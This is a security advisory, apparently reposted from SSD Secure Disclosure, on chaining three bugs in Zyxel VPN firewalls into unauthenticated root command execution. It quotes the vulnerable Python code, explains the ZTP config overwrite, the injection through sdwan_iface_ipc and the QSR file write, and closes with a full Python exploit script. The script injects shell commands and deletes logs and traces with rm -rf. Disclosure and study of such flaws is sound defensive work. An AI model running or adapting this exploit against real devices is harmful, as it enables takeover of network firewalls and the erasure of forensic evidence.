SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

IoT 4周前 admin
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Summary

Chaining of three vulnerabilities allows unauthenticated attackers to execute arbitrary command with root privileges on Zyxel VPN firewall (VPN50, VPN100, VPN300, VPN500, VPN1000). Due to recent attack surface changes in Zyxel, the chain described below broke and become unusable – we have decided to disclose this even though it is no longer exploitable.

Credit

An independent security researcher, delsploit, working with SSD Secure Disclosure.

Affected Versions

The affected models are VPN50, VPN100, VPN300, VPN500, and VPN1000. The affected firmware version is 5.21 thru to 5.36.

Technical Analysis

By examining the httpd.conf you can notice a few paths that require no authentication:

LoadModule auth_zyxel_module modules/mod_auth_zyxel.so
AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi \
/2FA-access.cgi \
/webauth_ga.cgi \
/fbwifi_error.cgi /fbwifi/ \
/ztp/cgi-bin/ztp_reg.py /ztp/cgi-bin/checkdata.py /ztp/cgi-bin/parse_config.py /ztp/cgi-bin/checkconn.py /ztp/cgi-bin/ztppolling.py /ztp/cgi-bin/activate.py /ztp/cgi-bin/conn_fail_checking.py /ztp/cgi-bin/changeLEDst.py /ztp/cgi-bin/postcertificate.py /ztp/cgi-bin/serverinit.py /ztp/cgi-bin/twoFApincode.py /ztp/cgi-bin/twoFApolling.py /ztp/cgi-bin/vpn_certificate.py /ztp/cgi-bin/ztp_bg.py /ztp/cgi-bin/dumpztplog.py /ztp/activation_success.html /ztp/activation_fail.html /ztp/activationfail.html /ztp/apply_fail.html /ztp/twoFAapps.html /ztp/twoFAsms.html /ztp/verification_fail.html /ztp/zld_enabled.html /ztp/ztp_enabled.html /ztp/ztp_reg.html /ztp/css /ztp/images /ztp/fonts \

As can be seen /ztp/cgi-bin/parse_config.py is one of accessible paths, this file is where the a flaw resides in.

Let’s look into its code. The conf_str is user provided, decoded by base64 and stored into the decoded_config variable.

The content is then written into ztpconf.conf.

Which means that unauthenticated users can overwrite the ztp product configuration.

def main():
form = cgi.FieldStorage()
conf_str = form.getvalue(“config”)
#### skip ####
if conf_str is None:
conf_str = “”
else:
#### skip ####
if not os.path.exists(ztpinclude.SERVER_SOCK_FILE):
logging.error(
“Cannot find sdwan_interface socket [%s]!” % ztpinclude.SERVER_SOCK_FILE
)
print(“ParseError: 0xC0DE0005”)
else:
conf_str = urllib.unquote(conf_str)
try:
decoded_config = base64.b64decode(conf_str)
except:
logging.error(“invalid base64 str %s” % conf_str)
print(“ParseError: 0xC0DE0004”)
return
#### skip ####
try:
fout = open(ztpinclude.ZTPFILEPATH + “ztpconf.conf”, “w+”)
if fout is not None:
fout.write(decoded_config)
ok = True
fout.close()
except Exception as e:
logging.debug(“e=%s” % e)
print(“ParseError: 0xC0DE0002”)
return
#### skip ####
if ok:
ztp_soc.ztp_led_start()
(parse_result, ou, org, cn) = network_parse.parse_result(
ztpinclude.ZTPFILEPATH + “ztpconf.conf”
)
if parse_result == ztpinclude.APPLYSUCC:
csrmgr.new_csrcfg(ou, org, cn)
print(
“ou=%s,org=%s,cn=%s”
% (urllib.quote(ou), urllib.quote(org), urllib.quote(cn))
)
else:
print(“ParseError”)
else:
print(“ParseError: 0xC0DE0006”)

However this alone is useless to execute arbitrary commands. Additional bugs were required to gain RCE.

When running commands in the product, the functions use execve function to avoid injection in most of the code.

A vulnerability can however be triggered when sdwan_interface and sdwan_iface_ipc are doing Inter-Process Communication.

Let’s see it at the code level. You can see something is written in v31 buffer:

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

After setting the buffer, it is sent to sdwan_interface by pic_sdwan_send_config.

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

Pay attention to v31.offset_584 copied to argument[3]. It’s the only injection point because other arguments are filtered or formatted by some rules, like ip format and number type.

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

sdwan_interface will then run the injected command after receiving payload. (v75->offset_584 is equal to v31.offset_584.)

Now let’s take a look at how we can trigger the IPC.

parse_result is called in main of parse_config.py. And you can see handle_gre is called:

def parse_result(filepath):
#### skip ####
if os.path.isfile(filepath):
parser = Parser()
config = parser.parse(filepath)
if check_model_id(config) != 0:
logging.info(“Check model id with config fail!!”)
return (ztpinclude.MODELIDERR, parm_ou, parm_o, parm_cn)
save_config_data(config)
with open(ztpinclude.ZTPFILEPATH + ‘parsed_config’, ‘w+’) as fout:
for configlist in config:
try:
if configlist[‘proto’] == “cellular”:
#### skip ####
elif configlist[‘proto’] == “static”:
#### skip ####
elif configlist[‘proto’] == “pppoe”:
#### skip ####
elif configlist[‘proto’] == “deviceha”:
#### skip ####
elif configlist[‘proto’] == “certificate”:
#### skip ####
elif configlist[‘proto’] == “vti”:
if not handle_vti(configlist, vti_cnt):
break
vti_cnt += 1
elif configlist[‘proto’] == “gre”:
if not handle_gre(configlist, gre_cnt):
break
gre_cnt += 1
except Exception as e:
#### skip ####
return (applyresult, parm_ou, parm_o, parm_cn)
else:
#### skip ####

handle_gre runs a process named sdwan_iface_ipc. And the arguments can be controlled by users. It runs the process, like executing command sdwan_iface_ipc 8 inp0 inp1 inp2 inp3 …:

def handle_gre(configlist, idx):
ok = False
logging.info(“setting up gre interface”)
logging.info(“; “.join([“=”.join(_) for _ in configlist.items()]))
# it’s time to create gre interface
# sdwan_iface_ipc 8 gre1 192.168.100.1 24 192.168.100.2 if:eth0 61.220.240.159 key 190815111 nhrp nhrppsk ciscozyxel nhs 192.168.100.2
# sdwan_iface_ipc 8 gre1 192.168.100.1 24 192.168.100.2 61.220.240.160 61.220.240.159 key 190815111 nhrp nhrppsk ciscozyxel nhs 192.168.100.2
params = [
“/usr/sbin/sdwan_iface_ipc”,
“8”,
configlist[“name”],
configlist[“ipaddr”],
configlist[“netmask”],
]
if “gateway” in configlist:
params.append(configlist[“gateway”])
else:
params.append(“-“)
if “base” in configlist:
params.append(“if:%s” % configlist[“base”])
elif “localip” in configlist:
params.append(configlist[“localip”])
else:
logging.info(“Apply fail: neither base or localip is specificied”)
return False
params.append(configlist[“remoteip”])
if “key” in configlist:
params.append(“key”)
params.append(configlist[“key”])
if “nhrp” in configlist and configlist[“nhrp”] != “0”:
params.append(“nhrp”)
if “nhrpsecret” in configlist:
params.append(“nhrppsk”)
params.append(configlist[“nhrpsecret”])
if “nhs” in configlist:
params.append(“nhs”)
params.append(configlist[“nhs”])
response = subprocess.call(params)
if response != (256 >> 8):
logging.info(“Apply fail: %d %s” % (response, ” “.join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
ok = True
return ok

At this point, we can perform the command injection. There’s good news and bad news. The good news is that sdwan_interface is running with root privileges, while httpd is running with nobody privileges. It means we don’t need additional LPE exploit.

UID PID PPID C STIME TTY TIME CMD
nobody 10391 10116 0 Sep12 ? 00:00:00 /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
root 10682 1 0 Sep12 ? 00:00:15 /usr/sbin/sdwan_interface
nobody 14175 14152 0 03:19 ? 00:00:00 /usr/sbin/sdwan_iface_ipc

The bad news is there’s a length limit, because only 0x14 bytes of argument[3] are copied. It means that we can enter only 0x14 bytes command including command separators.

But using a third vulnerability we can overcome this.

There’re two vulnerability in handle_vti. One allows us to traverse arbitrary path with ‘.qsr’ postfix, and the other one allows us to write arbitrary contents in the file. Our focus is on the second one, because if it can write the shell command in a file and execute it, freeing us from the length limit.

def handle_vti(configlist, idx):
ok = False
qsrname = “/tmp/%s.qsr” % configlist[“name”]
logging.info(“setting up vti interface”)
logging.info(“; “.join([“=”.join(_) for _ in configlist.items()]))
out = open(qsrname, “w+”)
if out:
for k in configlist:
out.write(“%s %s\n” % (k, configlist[k]))
out.flush()
out.close()
else:
return False
# it’s time to create vti interface
# sdwan_iface_ipc 7 vti0 192.168.100.1 24 192.168.100.2 qsr /tmp/qsr0.txt
params = [
“/usr/sbin/sdwan_iface_ipc”,
“7”,
configlist[“name”],
configlist[“ipaddr”],
configlist[“netmask”],
]
if “gateway” in configlist:
params.append(configlist[“gateway”])
else:
params.append(“-“)
params.append(“qsr”)
params.append(qsrname)
response = subprocess.call(params)
if response != (256 >> 8):
logging.info(“Apply fail : %d %s” % (response, “”.join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
f = open(“/tmp/ignore-nccubs-vpn-reset”, “a”)
if f is not None:
f.write(“%s,” % configlist[“name”])
f.close()
ok = True
return ok

Finally, we can chain the three vulnerabilities together and obtain root preauth RCE:

The chaining scenario:

  1. Write arbitrary command in /tmp/1.qsr abusing QSR file write
  2. Run . /tmp/1.qsr ZTP configuration overwrite and command injection
  3. Boom

Demo

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

Proof of Concept

#!/usr/bin/python3
import argparse
import base64
import random
import requests
# ignore ssl certification
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
DEBUG = False # True
class Exploit:
def __init__(self, args, https=True):
self.args = args
self.host = args.host
self.command = args.command
self.session = requests.Session()
self.session.verify = False
self.root = f“http://{self.host}:{self.args.port}/”
if https:
self.root = f“https://{self.host}:{self.args.port}/”
def req_post(self, path, data={}, files={}):
url = f“{self.root}{path}”
result = self.session.post(url, data=data, files=files)
if DEBUG:
print(f“[*] req: {url}”)
print(data)
print(result.text)
return result
def req_get(self, path, params={}):
url = f“{self.root}{path}”
result = self.session.get(url, params=params)
if DEBUG:
print(f“[*] req: {url}”)
print(params)
print(result.text)
return result
def fingerprint(self):
print(“[+] fingerprint”)
version = “”
title = “”
# version_string = “/ext-js/app/common/zld_product_spec.js”
r = self.req_get(“/ext-js/app/common/zld_product_spec.js”)
if “ZLDSYSPARM_PRODUCT_NAME1=” in r.text:
title = r.text.split(‘ZLDSYSPARM_PRODUCT_NAME1=”‘)[1].split(‘”‘)[0]
if “ZLDCONFIG_CLOUD_HELP_VERSION=” in r.text:
version = r.text.split(“ZLDCONFIG_CLOUD_HELP_VERSION=”)[1].split(“;”)[0]
print(f” title = {title}”)
print(f” version = {version}”)
return (title, version)
def fingerprint2(self):
print(“[+] fingerprint”)
version = “”
title = “”
version_string = “/ext-js/app/common/zld_product_spec.js”
r = self.req_get(“/”)
if version_string in r.text:
version = r.text.split(version_string)[1].split(‘”‘)[0]
if “<title>” in r.text:
title = r.text.split(“<title>”)[1].split(“</title>”)[0]
print(f” title = {title}”)
print(f” version = {version}”)
return (title, version)
def run(self):
command = args.command
if type(command) == str:
command = command.encode()
command += (
b” 2>/var/log/ztplog 1>/var/log/ztplog\n”
b“((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/* “
b“/var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &)\n”
)
command = base64.b64encode(command)
command = b“echo “ + command + b” | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr”
title, version = self.fingerprint()
if not title.startswith(“VPN”) or version == “” or float(version) < 5.10:
print(“[-] invulnerable target”)
return
if “ZTP is already enabled.” in title:
print(“[!] ZTP is already enabled”)
print(” ZTP configuration will be clear if you continue”)
yes = input(‘ ENTER “YES” if you want continue: ‘).strip()
if yes != “YES”:
return
print(“[+] payload transfer”)
payload = b“option proto vti\n”
payload += b“option “ + command + b“;exit\n”
payload += b“option name 1\n”
config = base64.b64encode(payload)
data = {“config”: config, “fqdn”: “\x00”}
r = self.req_post(“/ztp/cgi-bin/parse_config.py”, data=data)
if “ParseError: 0xC0DE0005” in r.text:
print(“[-] invulnerable”)
return
print(” complete”)
print(“[+] code execution”)
localip = (
f“{random.randint(1,255)}.{random.randint(1,255)}.”
f“{random.randint(1,255)}.{random.randint(1,255)}”.encode()
)
remoteip = (
f“{random.randint(1,255)}.{random.randint(1,255)}.”
f“{random.randint(1,255)}.{random.randint(1,255)}”.encode()
)
payload = b“option proto gre\n”
payload += b“option name 0\n”
payload += b“option ipaddr ;. /tmp/1.qsr;\n”
payload += b“option netmask 24\n”
payload += b“option gateway 0\n”
payload += b“option localip “ + localip + b“\n”
payload += b“option remoteip “ + remoteip + b“\n”
config = base64.b64encode(payload)
data = {“config”: config, “fqdn”: “\x00”}
r = self.req_post(“/ztp/cgi-bin/parse_config.py”, data=data)
if “ParseError: 0xC0DE0005” in r.text:
print(“[-] invulnerable”)
return
print(” complete”)
print(“[+] receive output”)
r = self.req_get(“/ztp/cgi-bin/dumpztplog.py”)
print(
r.text.split(“</head>\n<body>”)[1]
.split(“</body>\n</html>”)[0]
.replace(“\n\n<br>”, “”)
.replace(“[IPC]IPC result: 1\n”, “”)
)
return
if __name__ == “__main__”:
parser = argparse.ArgumentParser(description=“Exploit”)
parser.add_argument(“host”, type=str, help=“target host”)
parser.add_argument(“–port”, type=str, help=“port”, default=“443”)
parser.add_argument(“command”, type=str, help=“command”)
parser.add_argument(“–no-https”, dest=“no_https”, action=“store_true”)
args = parser.parse_args()
https = not args.no_https
s = Exploit(args, https=https)
s.run()

原文始发于SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

版权声明:admin 发表于 2024年1月27日 下午7:38。
转载请注明:SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION | CTF导航

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